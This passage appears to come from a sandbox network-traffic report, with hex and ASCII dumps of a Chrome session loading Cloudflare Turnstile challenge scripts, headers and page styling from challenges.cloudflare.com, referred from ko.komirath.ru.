2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49726	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:29 UTC	794	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:29 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26636 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-08 16:18:29 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 65 64 38 30 66 35 31 64 33 65 30 66 36 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8fed80f51d3e0f6d-EWRalt-svc: h3=":443"; ma=86400
2025-01-08 16:18:29 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
